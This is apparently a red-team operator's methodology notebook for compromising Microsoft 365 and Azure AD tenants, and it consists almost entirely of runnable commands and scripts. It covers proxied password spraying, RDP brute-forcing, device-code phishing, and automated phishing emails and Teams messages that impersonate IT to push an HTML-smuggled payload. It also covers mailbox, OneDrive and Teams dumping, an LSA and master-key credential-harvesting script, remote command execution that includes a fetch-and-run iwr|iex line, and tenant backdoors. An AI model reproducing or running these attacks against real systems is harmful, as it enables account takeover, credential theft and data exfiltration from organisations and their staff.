Office 365 / Graph Methodology
Phishing using AAdinternals, TokenTactics, Azurehound, Trevorspray/o365spray, etc
Needs PhirstPhish stuff to replace the Intital Phish section, it’s lacking Needs O365 creeper
Clone and Install Modules
mkdir O365
cd O365
git clone https://github.com/rvrsh3ll/TokenTactics.git
git clone https://github.com/mgeeky/AzureRT
Install-Module Az
Install-Module AzureAd
Install-Module AADInternals
Install-Module Microsoft.Graph
Import Modules - Increase Function Count to Avoid Graph Error
$maximumfunctioncount = '32768'
Import-Module AADInternals
Import-Module .\TokenTactics\TokenTactics.psd1
Import-Module Az
Import-Module AzureAD
Import-Module Microsoft.Graph
ROADtools - pip install
pip install roadlib
pip install roadrecon
pip install roadtx
RoadRecon - Get Token
Get-AzureToken -Client Graph
$access = $response.access_token
$refresh = $response.refresh_token
Add-AADIntAccessTokenToCache -AccessToken $access -RefreshToken $refresh
$acc = Read-AADIntAccessToken $access
$user = $acc.upn
$domain = $user.Split("@")[1]
Write-Output "Token for $user in $domain"
RefreshTo-MSGraphToken -refreshtoken $response.refresh_token -domain $domain -Device iPhone -Browser Safari
ROADTools - ROADRecon and Auth to Teams with a new PRT
roadrecon auth --access-token $response.access_token
roadrecon gather
roadrecon plugin policies
roadtx prt -a renew
roadtx prtauth -c msteams -r msgraph
ROADTools - Register device
roadtx device -n JustAPrinter
########## PHASE I ##########################################################################################################
########## External Recon and Password Sprays ###############################################################################
External Variables
$domain = "corpomax.com"
Invoke-AADIntReconAsOutsider -Domain $domain | Format-Table
Invoke user enumeration as an outsider user or using a text file
$user = 'adelev@corpomax.com'
Obtain list of users from OSINT on LinkedIn, dehashed, Hunter, etc
cat emails.txt
User or List of Users, checks against a quiet API endpoint
Invoke-AADIntUserEnumerationAsOutsider -UserName $user
Get-Content .\emails.txt | Invoke-AADIntUserEnumerationAsOutsider > validemailsAAD.txt
Initial Spray Against users we’ve validated, slow slow SLOWWWW
Try Vs TrevorSpray, TeamFiltration
o365 better to control speed, TrevorSpray has natural proxy support
o365 Spray from Shrine ( need get work with fireprox )
git clone https://github.com/0xZDH/o365spray.git
cd o365spray
pip install -r requirements.txt
sudo chmod +x o365spray.py
Check if O365
o365spray.py --validate --domain $domain
Perform username enumeration against a given domain:
o365spray.py --enum -U emails.txt --domain $domain
Perform password spraying against a given domain:
o365spray --spray -U emails.txt -P $passwords --count 2 --lockout 5 --domain $domain
Slower, sleepier, jittery spray
./o365spray.py --spray -U emails.txt -P knownpasswords.txt --count 1 --lockout 5 --domain $tenant --rate 1 --sleep -1 --jitter 20
../o365spray/o365spray.py --spray -U emails.txt -P knownpasswords.txt --count 3 --lockout 5 --domain $tenant --rate 1 --sleep -1 --jitter 20
Credmaster - Proxy-Spray through AWS API Gateway
https://github.com/knavesec/CredMaster/wiki/
git clone https://github.com/knavesec/CredMaster.git
cd CredMaster
pip install -r requirements.txt
This will run the o365 module with 5 threads and a 10-20 second jitter. It will attempt 3 passwords every 6 hrs (360 min)
tmux new -s credmaster
plugin="msol"
python3 credmaster.py --access_key $AWS_ACCESS_KEY --secret_access_key $AWS_SECRET_KEY \
--plugin $plugin -u userfile.txt -p passfile.txt -a useragents.txt -o spraymsol.loot \
-t 5 -j 20 -m 10 -d 360 --passwordsperdelay 3
# msgraph module one thread and a 10-30 second jitter. It will attempt one password every one hour (60 min) with a randomized user list.
# plugin="msgraph"
# --plugin $plugin -u userfile.txt -p passfile.txt -a useragents.txt -o spraygraph.loot
# -t 1 -j 30 -m 10 -d 60 --passwordsperdelay 1 -r
Refresh to Graph as iPhone/Safari
RefreshTo-MSGraphToken -refreshToken $response.refresh_token -domain $tenant -Device iPhone -Browser Safari
take first X emails from user inbox
$folder = ‘inbox’ $X = “100” Dump-OWAMailboxViaMSGraphApi -AccessToken $MSGraphToken.access_token -mailFolder $folder -top $X -Device iPhone -Browser Safari
Initial Phish
Generate a device code
Get-AzureToken -Client Graph
show tokens
Write-Output "Access token:"
$response.access_token
Write-Output "Refresh token:"
$response.refresh_token
Azurehound
$access = $response.access_token
$refresh = $response.refresh_token
Add-AADIntAccessTokenToCache -AccessToken $access -RefreshToken $refresh
$acc = Read-AADIntAccessToken $access
$user = $acc.upn
$domain = $user.Split("@")[1]
Write-Output "$user took the bait."
### Azurehound
iwr https://github.com/BloodHoundAD/AzureHound/releases/download/v2.0.4/azurehound-linux-amd64.zip -o azurehound.zip
Expand-Archive azurehound.zip
$tok = $response.refresh_token
# .\azurehound\azurehound.exe -r $tok list --tenant $domain -o .\azurehound.json
./azurehound/azurehound -r $tok list --tenant $domain -o .\azurehound.json
1st Cred - AzureAD Recon
Connect to AzureAd and dump users/groups
cd loot
$target = 'adelev@corpomax.com'
Connect-AzureAD -AadAccessToken $response.access_token -AccountId $target
Get all users and export to CSV
$users = Get-AzureADUser -All $true
$users | Export-Csv -Path "users.csv" -NoTypeInformation
Get all groups and export to CSV
$groups = Get-AzureADGroup -All $true | Export-Csv -Path "groups.csv" -NoTypeInformation
Extract the email addresses of the users
$emailAddresses = $users | Select-Object -ExpandProperty UserPrincipalName
Output the email addresses to a text file
$emailAddresses | Out-File -FilePath 'emails.txt'
Start 2nd Spray with emails gathered
Alternate Spray with TrevorSpray Proxied through EC2
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray
Spray Token Endpoint
tenant="corpomax.com"
password="Password123!"
proxy1="proxywars.eastus.cloudapps.azure.com"
Proxy2="sorrowset-ec2.straightchillin.com"
trevorspray -u emails.txt -p $password --url $url --delay 60 --lockout-delay 60 --jitter 30 --ssh ansible@$proxy1
Default Endpoint Spray Slow over Proxy
trevorspray -u emails.txt -p $password --delay 60 --lockout-delay 60 --jitter 30 --ssh user@$proxy1
Tenant Recon
Azure Hound
Refresh Token
$tok = $response.refresh_token
Azurehound from Linux
iwr https://github.com/BloodHoundAD/AzureHound/releases/download/rolling/azurehound-linux-amd64.zip -o .\azurehound.zip
expand-archive ./azurehound.zip
./azurehound/azurehound -r $tok list --tenant $tenant-o ./azurehound.json
Azurehound from Windows
iwr https://github.com/BloodHoundAD/AzureHound/releases/download/v1.2.4/azurehound-windows-amd64.zip -o azurehound.zip
expand-archive ./azurehound.zip
.\azurehound.exe -r $tok list --tenant $tenant-o azurehound.json
Email Recon
Browse inbox folders
Refresh to Graph as iPhone/Safari
RefreshTo-MSGraphToken -refreshToken $response.refresh_token -domain $tenant -Device iPhone -Browser Safari
take first X emails from user inbox
$folder = 'inbox'
$X = "20"
Dump-OWAMailboxViaMSGraphApi -AccessToken $MSGraphToken.access_token -mailFolder $folder -top $X -Device iPhone -Browser Safari
Open inbox in browser
RefreshTo-SubstrateToken -refreshToken
$response.refresh_token -domain $tenant -Device AndroidMobile -Browser Android
Open-OWAMailboxInBrowser -AccessToken
$SubstrateToken.access_token -Device Mac -Browser Chrome
Open a new BurpSuite Repeater tab & set the Target to ‘https://Substrate.office.com’
Paste the below request into Repeater & Send
Right click the response > ‘Show response in browser’, then open the response in Burp’s embedded browser
Refresh the page to access the mailbox
Get all VMs and PublicIps in the subscription
$vms = Get-AzVM
# Loop through each VM and get its public IP address (if it has one)
$publicIps = foreach ($vm in $vms) {
if ($vm.PublicIpAddress -ne $null) {
[PSCustomObject]@{
ResourceGroupName = $vm.ResourceGroupName
Name = $vm.Name
PublicIpAddress = $vm.PublicIpAddress
}
}
}
## Export the results to a CSV file
$publicIps | Export-Csv -Path "VmIPs.csv" -NoTypeInformation
Brute Force VMs with Public IPs
crackmapexec
./cme rdp $VMIP -u $user -P $wordlist
CrowBar
sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer python3 python3-pip
git clone https://github.com/galkan/crowbar
cd crowbar/
pip3 install -r requirements.txt
First VM, trying admin account, Single IP, User, Passwordlist
VMIP=""
cidr=""
user="adelev"
wordlist="shortpass.txt"
wordlist2=".\O365\loot\shortpass.txt"
./crowbar.py -b rdp -s $VMIP -u $user -C $wordlist shortpass.txt
# Hydra
hydra -t 1 -V -f -l $user -P $wordlist rdp://$VMIP
######################################### PHASE II ###########################################################################
Password Spraying
Can run from TrustedIP space here to avoid MFA / Simulate Trusted Network
Can run from an AzureIP / Cloud Shell for trusted-ish external IP
TrevorSpray from TrustedIP/Shell/AzNix (try proxy through cloud shell)
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray
### Variables
tenant="corpomax.com"
password="Password123!"
Recon
trevorspray --recon $tenant
Enumerate users via OneDrive (no failed logins) or Seamless_sso
trevorspray --recon $tenant -u emails.txt --threads 10
# --delay Sleep for this many seconds between requests
# --lockout-delay Sleep for this many additional seconds when a lockout is encountered
# --jitter Add a random delay of up to this many seconds between requests
trevorspray -u emails.txt -p $password --ssh root@1.2.3.4 root@4.3.2.1 --delay 30 --lockout-delay 30 --jitter 10
Workflow - Spray Token Endpoint Slow
Recon for URL
trevorspray --recon $tenant
url=""
trevorspray -u emails.txt -p $password --url $url --delay 60 --lockout-delay 60 --jitter 30
Workflow - Default Endpoint Spray Slow
trevorspray -u emails.txt -p $password --delay 60 --lockout-delay 60 --jitter 30
Spray Modules
trevorspray owa -u emails.txt -p $password --delay 60 --lockout-delay 60 --jitter 30
trevorspray adfs -u emails.txt -p $password --delay 60 --lockout-delay 60 --jitter 30
trevorspray okta -u emails.txt -p $password --delay 60 --lockout-delay 60 --jitter 30
trevorspray msol -u emails.txt -p $password --delay 60 --lockout-delay 60 --jitter 30
trevorspray anyconnect -u emails.txt -p $password --delay 60 --lockout-delay 60 --jitter 30
Spray Across Proxies
proxy1=""
proxy2=""
trevorspray -u emails.txt -p $password --ssh mellonaut@$proxy2 ansible@$proxy1
Trevor Spray Extract LZX files looted from MFA bypass
get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make
extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u
TrevorSpray Find ValidUsernames without OSINT
clone wordsmith dataset
tenant="corpomax.com"
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data
### order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux
### loop through first initials
echo -n $ordered_letters | while read -n1 f; do
# loop through top 2000 USA last names
head -n 2000 'usa/lnames.txt' | while read last; do
# generate emails in f.last format
echo "${f}.${last}@$tenant"
done
done | tee f.last.txt
trevorspray -u f.last.txt -p 'Welcome123'
TeamFiltration Linux
iwr https://github.com/Flangvik/TeamFiltration/releases/download/v3.5.0/TeamFiltration-Linux-v3.5.0.zip -o teamfiltration.zip
unzip ./teamfiltration.zip
./teamfiltration
TeamFiltration Windows
iwr https://github.com/Flangvik/TeamFiltration/releases/download/v3.5.0/TeamFiltration-Win-v3.5.0.zip -o teamfiltration.zip
Expand-Archive teamfiltration.zip
.\teamfiltration.exe
# Create Config
{
"pushoverAppKey": "",
"pushoverUserKey": "",
"dehashedEmail" : "",
"dehashedApiKey": "",
"sacrificialO365Username": "adelev@corpomax.com",
"sacrificialO365Passwords": "",
"proxyEndpoint": "http://127.0.0.1:8080",
"AWSAccessKey": "",
"AWSSecretKey": "",
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.30866 Chrome/80.0.3987.165 Electron/8.5.1 Safari/537.36"
}
TeamFiltration
Requires a NON MFA sacraificl O365 account with business basic license
Enumeration with statisitcally generated usernames
.\TeamFiltration.exe --outpath adele --config sc200.json --enum --validate-teams --domain $tenant
Enumeration w/ custom list
.\TeamFiltration.exe --outpath adele --config sc200.json --usernames emails.txt --enum --validate-teams --domain $tenant
Spray with generated list of months and seasons
.\TeamFiltration.exe --outpath adele --config sc200.json --spray --sleep-min 120 --sleep-max 200
Spray with custom list
.\TeamFiltration.exe --outpath adele --config sc200.json --spray --passwords $passwords --sleep-min 120 --sleep-max 200
Exfil AAD, all=graph,owa,sharepoint,onedrive,teams
.\TeamFiltration.exe --outpath adele --config sc200.json --exfil --aad
.\TeamFiltration.exe --outpath adele --config sc200.json --exfil --all
Exfil auth tokens
.\TeamFiltration.exe --outpath adele --config sc200.json --exfil --tokens
Override creds to exfil
.\teamfiltration.exe --outpath \adele --exfil --all --username $user --password $password
backdoor
.\teamfiltration.exe --outpath adele --config sc200.json --backdoor
Access Database
.\teamfiltration.exe --outpath adele --config sc200.json --database
Examples
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\2021\FooBar\Exclude_Emails.txt
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --passwords Passwords.txt --time-window 13:00-22:00
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --all
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --aad
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-teams
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames emails.txt
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --backdoor
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --database
Internal Phishing
Phish an IT Admin for PrivEsc
Device Code Email w/ Teams Message to Back it
Customize the message
Clear-Token
RefreshTo-SubstrateToken
Get-AADIntAccessTokenFor Graph -SaveToCache
$tenant = "corpomax.com"
$code = ""
$op = "Sharproot Electrical"
$target = 'derf@corpomax.com'
$msg = "<div>Hi!<br/>This is a message sent to you by <a href='https://microsoft.com/devicelogin'>$op</a>. <br/><br/>Here is <a href='{1}'>your doument</a> you <b></b>.<br/><br/> Provide the following code when requested: <b>$code</b>.</div>"
$subject = "$op has shared a document with you"
Send the Phishing Email
Send-AADIntOutlookMessage -AccessToken $OutlookToken.access_token -Recipient $target -Subject $subject -Message $msg
Send Teams message support your email
RefreshTo-MSTeamsToken -domain $tenant -refreshToken $response.refresh_token
$MSTeamsToken.access_Token
Send-AADIntTeamsMessage -AccessToken $MSTeamsToken.access_Token -Recipients $target -Message "Just sent you an email, look what $op offered!!"
Payload to Intune Admin
Setup First Payload Delivery
from Teamfiltration, loot, up to O365
cd ../../
pwd
$app = "OneDriveBusinessSSO"
$rg = "Phishing"
$path = ".\Payloads\Packages\dropd-shrine48-img\phishing"
cd $path
az webapp up -g $rg -n $app --sku free --html
# or Serve w/ custom NSG rules
# .\Payloads\Packages\dropd-shrine48-img\serve.ps1 -deploy
cd ..\..\..\..\
# az webapp delete -g $rg -n $app
If you need a new token
Clear-Token
Get-AzureToken -Client Graph
Email and Teams the Payload Link
Will link to html smuggled payload
$tenant = "corpomax.com"
$url = "http://$app.azurewebsites.net"
$target = 'targettim@corpomax.com'
$msg = "<div>Hi!<br/>This is a message sent to you by <a href='https://Sharprootelectricalservices.com'>Sharproot Electrical</a>. <br/><br/>Your document is <a href='{1}'>ready</a> <b></b>.<br/><br/> Click here to view: <b>$url</b>.</div>"
# try this msg2 as well
$msg2 = "<div>Hi!<br/>This is a message sent to you by <a href=$url>Sharproot Electrical</a>. <br/><br/>Your document is <a href='{1}'>ready</a> <b></b>.<br/><br/> Click here to view: <b>$url</b>.</div>"
$subject = 'Contract Proposal'
### Send the Phish w/ Function
Send-AADIntOutlookMessage -AccessToken $OutlookToken.access_token -Recipient $target -Subject $subject -Message $msg
### Send the link with Teams
RefreshTo-MSTeamsToken -domain $tenant -refreshToken $response.refresh_token
$MSTeamsToken.access_Token
Send-AADIntTeamsMessage -AccessToken $MSTeamsToken.access_Token -Recipients $target -Message "Just sent you an email, look what they just offered: $url"
Automate Internal
ForEach in users, wait %random in 3 minutes, send one
Clear Tokens if needed
Clear-Token -Token All
Get Device COde to Phish IT Admin
Get-AzureToken -Client Graph
Set Variables
$app = "OneDriveBusinessSSO"
$targetList = Get-Content .\users.txt
$subject = 'New Device Policy'
$msg = "<div>Hi!<br/> We have updated our device usage and privacy policy. Please sign new contract agreement for your device to continue accessing company resources. <a href='https://office.com'></a>. <br/><br/>Your document is <a href='{1}'>ready</a> <b></b>.<br/><br/> Click here to view: <b>{0}</b>.</div>"
# Loop through the target list
foreach ($target in $targetList) {
# Set a random sleep duration between 2.5 and 7.5 minutes
$sleepSeconds = Get-Random -Minimum 150 -Maximum 451
# Set up the email message with the payload link
$url = "http://$app.azurewebsites.net"
$message = $msg
# Send the email
Send-AADIntOutlookMessage -AccessToken $OutlookToken.access_token -Recipient $target -Subject $subject -Message $message
# Wait for the random sleep duration
Start-Sleep -Seconds $sleepSeconds
}
Teams Payload From Intune Admin to IT / HVT
$tenant = “corpomax.com”
$app2 = "TeamViewerSSO"
$url = "http://$app2.azurewebsites.net"
$rg = "Phishing"
$payload = $path
cd $payload
az webapp up -g $rg -n $app2
$target = 'intuneadmin@corpomax.com'
$target2 = 'it@corpomax.com'
$target3 = 'cloudadmin@corpomax.com'
# Send a TeamViewer Update to user
RefreshTo-MSTeamsToken -domain $tenant -refreshToken $response.refresh_token
$MSTeamsToken.access_Token
Send-AADIntTeamsMessage -AccessToken $MSTeamsToken.access_Token -Recipients $target -Message "Hey, sorry to bother, we're having everyone update the remote management software on their workstation. Please run this when you get a chance shouldn't take long: $url"
Start-Sleep -Seconds 180
Send-AADIntTeamsMessage -AccessToken $MSTeamsToken.access_Token -Recipients $target3 -Message "Sorry to bother you sir, IT needs you to update our management software for youre device to remain compliant. You might lose access to your email/teams until you do. Please run this when you get a chance shouldn't take long: $url. Thank you!"
Start-Sleep -Seconds 160
# Send to the IT Team Channel
Send-AADIntTeamsMessage -AccessToken $MSTeamsToken.access_Token -Recipients $target2 -Message "Team, sorry to bother you, we're having everyone update the remote management software on their workstation. Just run this when you get a chance shouldn't take long: $url"
Automated Teams Payload Phishing
$app2 = "TeamViewerSSO"
$url = "http://$app2.azurewebsites.net"
$targetList = Get-Content .\users.txt
# Loop through the target list
foreach ($target in $targetList) {
# Set a random sleep duration between 2.5 and 7.5 minutes
$sleepSeconds = Get-Random -Minimum 150 -Maximum 451
# Send the Teams message
RefreshTo-MSTeamsToken -domain $tenant -refreshToken $response.refresh_token
$MSTeamsToken.access_Token
$message = "Hey, sorry to bother, we're having everyone update the remote management software on their workstation. Please run this when you get a chance shouldn't take long: $url"
Send-AADIntTeamsMessage -AccessToken $MSTeamsToken.access_Token -Recipients $target -Message $message
# Wait for the random sleep duration
Start-Sleep -Seconds $sleepSeconds
}
Token Tactics Help
Clear-Token -Token All
Connect-AzureAD -AadAccessToken $response.access_token -AccountId "targettim@corpomax.com"
# Get-Command -Module TokenTactics
# CommandType Name Version Source
# ———– —- ——- ——
# Function Clear-Token 0.0.1 TokenTactics
# Function Dump-OWAMailboxViaMSGraphApi 0.0.1 TokenTactics
# Function Forge-UserAgent 0.0.1 TokenTactics
# Function Get-AzureToken 0.0.1 TokenTactics
# Function Get-TenantID 0.0.1 TokenTactics
# Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics
# Function Parse-JWTtoken 0.0.1 TokenTactics
# Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics
# Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics
# Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics
# Function RefreshTo-GraphToken 0.0.1 TokenTactics
# Function RefreshTo-MAMToken 0.0.1 TokenTactics
# Function RefreshTo-MSGraphToken 0.0.1 TokenTactics
# Function RefreshTo-MSManageToken 0.0.1 TokenTactics
# Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics
# Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics
# Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics
# Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics
# Function RefreshTo-OutlookToken 0.0.1 TokenTactics
# Function RefreshTo-SubstrateToken 0.0.1 TokenTactics
Dump Emails by Folder
Refresh to Graph as iPhone/Safari
RefreshTo-MSGraphToken -refreshToken $response.refresh_token -domain $tenant -Device iPhone -Browser Safari
RefreshTo-MSGraphToken -refreshToken $tok -domain $tenant -Device iPhone -Browser Safari
### take all emails from user folder, add -top X to limit dumpo to csv
$folder = 'inbox'
Dump-OWAMailboxViaMSGraphApi -AccessToken $MSGraphToken.access_token -mailFolder $folder -Device iPhone -Browser Safari > emails.csv
### Download the contents of the OneDrive to the current folder in a csv
$os = New-AADIntOneDriveSettings
Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-Table > onedrive.csv
## Dump Teams to current folder in a csv
RefreshTo-MSTeamsToken -domain $tenant -refreshToken $response.refresh_token -SaveToCache
RefreshTo-MSTeamsToken -domain $tenant -refreshToken $tok -SaveToCache
Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayName > teams.csv
VM RunCommand / ARC / Intune Admin Abuse
VM RunCommand - Single command
$vmName = "Vm1"
$rg = "Devices"
$location = "eastus"
$command = ". { iwr -useb https://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force"
$scriptName = "boxstarter"
$user = "planethacker"
az vm run-command create --resource-group $rg --location $location --async-execution false --run-as-password $password --run-as-user $user --script $command --timeout-in-seconds 3600 --run-command-name $scriptName --vm-name $vmName
VM RunCommand - Script
$script = Get-Content .\tester.ps1
$script = "tester.ps1"
$command = $script
az vm run-command create --resource-group $rg --location $location --async-execution false --run-as-password $password --run-as-user $user --script $command --timeout-in-seconds 3600 --run-command-name $scriptName --vm-name $vmName
ARC - Invoke Command on Arc Enabled Machines
Install-Module -Name Az.ConnectedMachine -AllowPrerelease
import-module -Name Az.ConnectedMachine
# Script to Create and Set Extension to run command
$rg = "TierZero"
$boxy = "boxybrown"
$domain = "domain"
$scriptName = "DirLister"
$location = "eastus"
$command = "powershell.exe -c Get-Process"
Get-AzConnectedMachine -ResourceGroupName $rg
$machineName = $domain
Get-AzConnectedMachineExtension -ResourceGroupName $rg -MachineName $machineName
$Settings = @{ "commandToExecute" = $command }
# Create New Extension to Run Command with Settings
New-AzConnectedMachineExtension -Name $scriptName -ResourceGroupName $rg -MachineName $machineName -Location $location -Publisher "Microsoft.Compute" -TypeHandlerVersion 1.10 -Settings $Settings -ExtensionType CustomScriptExtension
# Set the Extension on the VM
Set-AzConnectedMachineExtension -Name $scriptName -ResourceGroupName $rg -MachineName $machineName -Location $location -Publisher "Microsoft.Compute" -TypeHandlerVersion 1.10 -Settings $Settings -ExtensionType CustomScriptExtension
# Open Session on machine
$session = Connect-PSSession -ComputerName $machineName
ARC = Onboard Local or Remote Machines to ARC
# Onboard current machine to arc
Connect-AzConnectedMachine -ResourceGroupName$rg -Name $machineName -Location $location
# Onboard remote machine over pssession
$session = Connect-PSSession -ComputerName $machineName
Connect-AzConnectedMachine -ResourceGroupName$rg -Name $machineName -Location $location -PSSession $session
Automated Attack Framework - MAADAF
git clone https://github.com/vectra-ai-research/MAAD-AF.git
cd MAAD-AF
./MAAD_Attack.ps1
Harvesting Credentials
Hybrid Machine LSA Dump with AADInternals
Get-AADIntLSASecrets
AADInternals - Get LSA backup keys
$backup = Get-AADIntLSABackupKeys
$rsa = $backup[0]
$legacy = $backup[1]
$user = 'targettim@corpomax.com'
AADInternals - Get System Master Keys using LSA Backup
# Get the LSA backup keys
$backup = Get-AADIntLSABackupKeys
AADInternals - Save the private key to a variable
$backup | where name -eq RSA
AADInternals - Get system master keys (not quite working, key is null)
Get-AADIntSystemMasterkeys -SystemKey $rsa.key
AADInternals - Get User Master Keys using LSA Backup
# Get the LSA backup keys
$lsabk_keys=Get-AADIntLSABackupKeys
# Save the private key to a variable
$rsa_key=$lsabk_keys | where name -eq RSA
# Get user's master keys
Get-AADIntUserMasterkeys -UserName $user -SID $SID -SystemKey $rsa_key.key
AADInternals - Get user’s master keys with username and password
Get-AADIntUserMasterkeys -UserName $user -SID $SID -Password "password"
AADInternals - Get Local Creds, may fail as normnal user
# Get the LSA backup keys
$lsabk_keys=Get-AADIntLSABackupKeys
# Save the private key to a variable
$rsa_key=$lsabk_keys | where name -eq RSA
# Get user's master keys
$user_masterkeys=Get-AADIntUserMasterkeys -UserName $user -SID $SID -SystemKey $rsa_key.key
# List user's credentials
Get-AADIntLocalUserCredentials -UserName $user -MasterKeys $user_masterkeys
AADInternals - Get the PRToken from current device
$prtToken = Get-AADIntUserPRTToken
AADInternals - Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Fast Cred Harvest Script
# Create an empty hashtable to store output
$user = 'targettimf@corpomax.com'
$SID = 'S-1-5-xxxx'
$output = @{}
# # Hybrid Machine LSA Dump with AADInternals
# $output.LSASecrets = Get-AADIntLSASecrets
# # Get LSA backup keys
$output.LSABackupKeys = Get-AADIntLSABackupKeys
# Get System Master Keys using LSA Backup
# Get the LSA backup keys
# $lsabk_keys = Get-AADIntLSABackupKeys
# # Save the private key to a variable
$rsa_key = $lsabk_keys | where name -eq RSA
# # Get system master keys
$output.SystemMasterkeys = Get-AADIntSystemMasterkeys -SystemKey $rsa_key.key
# # Get User Master Keys using LSA Backup
# # Get the LSA backup keys
$lsabk_keys = Get-AADIntLSABackupKeys
# # Save the private key to a variable
$rsa_key = $lsabk_keys | where name -eq RSA
# # Get user's master keys
$output.UserMasterkeys = Get-AADIntUserMasterkeys -UserName $user -SID $SID -SystemKey $rsa_key.key
# Get the PRToken from current device
$prtToken = Get-AADIntUserPRTToken
# Get an access token for AAD Graph API and save to cache
$output.AccessTokenForAADGraph = Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
# Get Local Creds, may fail as normal user
# Get the LSA backup keys
$lsabk_keys = Get-AADIntLSABackupKeys
# Save the private key to a variable
$rsa_key = $lsabk_keys | where name -eq RSA
# Get user's master keys
$user_masterkeys = Get-AADIntUserMasterkeys -UserName $user -SID $SID -SystemKey $rsa_key.key
# List user's credentials
$output.LocalUserCredentials = Get-AADIntLocalUserCredentials -UserName $user -MasterKeys $user_masterkeys
# Save output to file
$output | ConvertTo-Json | Out-File -Encoding utf8 -FilePath "./CredHarvest.json"
Domain Escalation into Azure from AD Admin
AADINternals-Get Sync Creds
Get-AADIntSyncCredentials
Get-AADIntSyncCredentials > ADSyncCreds.json
AADINternals - Modifying Users
Save the credentials to a variable
$creds=Get-Credential
#### Get an access token and save to cache
Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache
#### List the sync objects w/ OnPrem Values
Get-AADIntSyncObjects | Select UserPrincipalName,SourceAnchor,CloudAnchor | Sort UserPrincipalName
#### List the Azure AD users
Get-AADIntUsers | Select UserPrincipalName,ImmutableId,ObjectId | Sort UserPrincipalName
Persistence
https://aadinternals.com/aadinternals/#hack-functions-active-directory
AADInternals - Join w/ New PRT Token using current session info
# Get user's credentials
$creds = Get-Credential
# Get new PRT and key
$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -Credentials $cred
$prtKeys > PrtKeys.json
New MDM keys / cert with PRT
# Get an access token for MDM and save to cache
Get-AADIntAccessTokenForIntuneMDM -SaveToCache
# Get new PRT and key
$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -UseRefreshToken
Join On Prem Device to Hybrid AzureAD
#### Get an access token and save to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
#### Join the device to Azure AD
Join-AADIntOnPremDeviceToAzureAD -DeviceName "workstation-432"
### Join as AzureAd Device
#### Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
#### Register the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My first computer" -DeviceType "Commodore" -OSVersion "Vic20" -JoinType Register
Guest User (doesnt accept PUT requests error)
#### Get the auth token. Supports also external users (outlook.com, etc.)
$zt=Get-AADIntAccessTokenForAADIAMAPI -Credentials (Get-Credential)
#### Get login information for a domain
$user1 = "mellosec@outlook.com"
$email= $user1
New-AADIntGuestInvitation -AcessToken $zt -EmailAddress $email -Message "Welcome to our tenant!"
Backdoors
#### Set authentication method to managed
Get-AADIntAccessTokenForAADGraph -SaveToCache
Set-AADIntDomainAuthentication -DomainName $tenant -Authentication Managed
New-AADIntBackdoor -DomainName Sharprootelectricalservices.com
# Authentication : Managed
# Capabilities : None
# IsDefault : false
# IsInitial : false
# Name : Sharprootelectricalservices.com
# RootDomain :
# Status : Unverified
# VerificationMethod :
# IssuerUri : http://any.sts/3E30209
# Domain : Sharprootelectricalservices.com
GraphRunner
Get Tokens
Get-GraphTokens
Enumerate Dynamic Groups
Get-DynamicGroups -Tokens $tokens
Enumerate Updateable Groups
Get-UpdateablwGroups -tokens $tokens
Enumerate Permissions
Invoke-GraphRecon -PermissionEnum -tokens $tokens
Conditional Access Policies
Invoke-DumpCAPS -tokens $tokens
Find Sharepoint Sites
Get-SharePointSiteURLs -Tokens $tokens
Add Yourself to Updateable Group
Get-UpdateableGroups -tokens $tokens
$userid = Get-UserObjectID -tokens $tokens -upn demo@test.com
Invoke-AddGroupMember -Tokens $tokens -groupID $group -userId $userid
Check Open Inbox Permissions
